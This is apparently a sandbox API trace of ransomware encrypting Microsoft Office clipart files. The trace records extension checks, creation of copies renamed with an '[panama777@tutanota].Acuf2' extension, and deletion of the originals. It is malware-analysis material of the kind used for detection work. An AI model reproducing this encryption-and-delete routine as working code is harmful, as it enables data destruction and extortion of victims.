	[0255.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.610] lstrlenW (lpString=".ppt") returned 4
	[0255.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.610] lstrlenW (lpString=".zip") returned 4
	[0255.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.610] lstrlenW (lpString=".rar") returned 4
	[0255.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.610] lstrlenW (lpString=".bz2") returned 4
	[0255.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.610] lstrlenW (lpString=".7z") returned 3
	[0255.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.610] lstrlenW (lpString=".dbf") returned 4
	[0255.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.611] lstrlenW (lpString=".1cd") returned 4
	[0255.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.611] lstrlenW (lpString=".jpg") returned 4
	[0255.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.611] lstrlenW (lpString=".doc") returned 4
	[0255.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString=".docx") returned 5
	[0255.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.611] lstrlenW (lpString=".pdf") returned 4
	[0255.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString=".xls") returned 4
	[0255.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.611] lstrlenW (lpString=".xlsx") returned 5
	[0255.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.611] lstrlenW (lpString=".ppt") returned 4
	[0255.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.611] lstrlenW (lpString=".zip") returned 4
	[0255.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.611] lstrlenW (lpString=".rar") returned 4
	[0255.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString=".bz2") returned 4
	[0255.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.611] lstrlenW (lpString=".7z") returned 3
	[0255.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.612] lstrlenW (lpString=".dbf") returned 4
	[0255.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.612] lstrlenW (lpString=".1cd") returned 4
	[0255.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63
	[0255.612] lstrlenW (lpString=".jpg") returned 4
	[0255.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.612] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.612] lstrlenW (lpString="BD00155_.WMF") returned 12
	[0255.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.612] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=11636) returned 1
	[0255.612] CloseHandle (hObject=0x338) returned 1
	[0255.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20
	[0255.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.613] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.613] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0255.613] GetLastError () returned 0x0
	[0255.613] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2d74, lpOverlapped=0x0) returned 1
	[0255.743] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2d80, lpOverlapped=0x0) returned 1
	[0255.744] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0255.744] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0255.744] SetEndOfFile (hFile=0x2a4) returned 1
	[0255.771] CloseHandle (hObject=0x2a4) returned 1
	[0255.775] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.775] SetEndOfFile (hFile=0x338) returned 1
	[0255.962] CloseHandle (hObject=0x338) returned 1
	[0255.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1
	[0255.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.979] lstrlenW (lpString=".doc") returned 4
	[0255.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.979] lstrlenW (lpString=".docx") returned 5
	[0255.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.979] lstrlenW (lpString=".pdf") returned 4
	[0255.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.979] lstrlenW (lpString=".xls") returned 4
	[0255.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.979] lstrlenW (lpString=".xlsx") returned 5
	[0255.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.979] lstrlenW (lpString=".ppt") returned 4
	[0255.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.979] lstrlenW (lpString=".zip") returned 4
	[0255.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.979] lstrlenW (lpString=".rar") returned 4
	[0255.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.979] lstrlenW (lpString=".bz2") returned 4
	[0255.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.979] lstrlenW (lpString=".7z") returned 3
	[0255.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.979] lstrlenW (lpString=".dbf") returned 4
	[0255.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.979] lstrlenW (lpString=".1cd") returned 4
	[0255.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.980] lstrlenW (lpString=".jpg") returned 4
	[0255.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.980] lstrlenW (lpString=".doc") returned 4
	[0255.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.980] lstrlenW (lpString=".docx") returned 5
	[0255.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.980] lstrlenW (lpString=".pdf") returned 4
	[0255.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.980] lstrlenW (lpString=".xls") returned 4
	[0255.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.980] lstrlenW (lpString=".xlsx") returned 5
	[0255.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.980] lstrlenW (lpString=".ppt") returned 4
	[0255.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.980] lstrlenW (lpString=".zip") returned 4
	[0255.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.980] lstrlenW (lpString=".rar") returned 4
	[0255.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.980] lstrlenW (lpString=".bz2") returned 4
	[0255.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.980] lstrlenW (lpString=".7z") returned 3
	[0255.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.980] lstrlenW (lpString=".dbf") returned 4
	[0255.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.981] lstrlenW (lpString=".1cd") returned 4
	[0255.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63
	[0255.981] lstrlenW (lpString=".jpg") returned 4
	[0255.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.981] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.981] lstrlenW (lpString="BD08808_.WMF") returned 12
	[0255.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.981] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=47996) returned 1
	[0255.981] CloseHandle (hObject=0x28c) returned 1
	[0255.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20
	[0255.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0255.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0255.982] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.982] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0255.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0255.982] GetLastError () returned 0x0
	[0255.982] ReadFile (in: hFile=0x28c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xbb7c, lpOverlapped=0x0) returned 1
	[0256.004] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xbb80, lpOverlapped=0x0) returned 1
	[0256.005] ReadFile (in: hFile=0x28c, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.005] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.005] SetEndOfFile (hFile=0x338) returned 1
	[0256.006] CloseHandle (hObject=0x338) returned 1
	[0256.006] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.006] SetEndOfFile (hFile=0x28c) returned 1
	[0256.010] CloseHandle (hObject=0x28c) returned 1
	[0256.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1
	[0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.028] lstrlenW (lpString=".doc") returned 4
	[0256.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.028] lstrlenW (lpString=".docx") returned 5
	[0256.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.028] lstrlenW (lpString=".pdf") returned 4
	[0256.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.028] lstrlenW (lpString=".xls") returned 4
	[0256.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.028] lstrlenW (lpString=".xlsx") returned 5
	[0256.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.028] lstrlenW (lpString=".ppt") returned 4
	[0256.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.028] lstrlenW (lpString=".zip") returned 4
	[0256.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.028] lstrlenW (lpString=".rar") returned 4
	[0256.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.028] lstrlenW (lpString=".bz2") returned 4
	[0256.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.028] lstrlenW (lpString=".7z") returned 3
	[0256.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.028] lstrlenW (lpString=".dbf") returned 4
	[0256.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.029] lstrlenW (lpString=".1cd") returned 4
	[0256.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.029] lstrlenW (lpString=".jpg") returned 4
	[0256.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.029] lstrlenW (lpString=".doc") returned 4
	[0256.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.029] lstrlenW (lpString=".docx") returned 5
	[0256.029] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.029] lstrlenW (lpString=".pdf") returned 4
	[0256.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.029] lstrlenW (lpString=".xls") returned 4
	[0256.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.029] lstrlenW (lpString=".xlsx") returned 5
	[0256.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.029] lstrlenW (lpString=".ppt") returned 4
	[0256.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0256.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.029] lstrlenW (lpString=".zip") returned 4
	[0256.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0256.029] lstrlenW (lpString=".rar") returned 4
	[0256.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0256.029] lstrlenW (lpString=".bz2") returned 4
	[0256.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0256.029] lstrlenW (lpString=".7z") returned 3
	[0256.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0256.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.030] lstrlenW (lpString=".dbf") returned 4
	[0256.030] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0256.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.030] lstrlenW (lpString=".1cd") returned 4
	[0256.030] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0256.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63
	[0256.030] lstrlenW (lpString=".jpg") returned 4
	[0256.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0256.030] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0256.030] lstrlenW (lpString="BD09031_.WMF") returned 12
	[0256.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0256.030] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=47786) returned 1
	[0256.030] CloseHandle (hObject=0x338) returned 1
	[0256.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20
	[0256.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0256.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0256.031] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.031] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0256.031] GetLastError () returned 0x0
	[0256.031] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xbaaa, lpOverlapped=0x0) returned 1
	[0256.034] WriteFile (in: hFile=0x34c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xbab0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xbab0, lpOverlapped=0x0) returned 1
	[0256.035] ReadFile (in: hFile=0x338, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0256.035] WriteFile (in: hFile=0x34c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0256.035] SetEndOfFile (hFile=0x34c) returned 1
	[0256.036] CloseHandle (hObject=0x34c) returned 1
	[0256.036] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0256.036] SetEndOfFile (hFile=0x338) returned 1
	[0256.039] CloseHandle (hObject=0x338) returned 1
	[0256.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0256.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 1
	[0256.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 63
	[0256.039] lstrlenW (lpString=".doc") returned 4
	[0256.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0256.039] lstrlenW (lpString=".docx") returned 5
	[0256.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0256.039] lstrlenW (lpString=".pdf") returned 4
	[0256.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0256.040] lstrlenW (lpString=".xls") returned 4
	[0256.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0256.040] lstrlenW (lpString=".xlsx") returned 5
	[0256.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0256.040] lstrlenW (lpString=".ppt") returned 4
	[0256.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
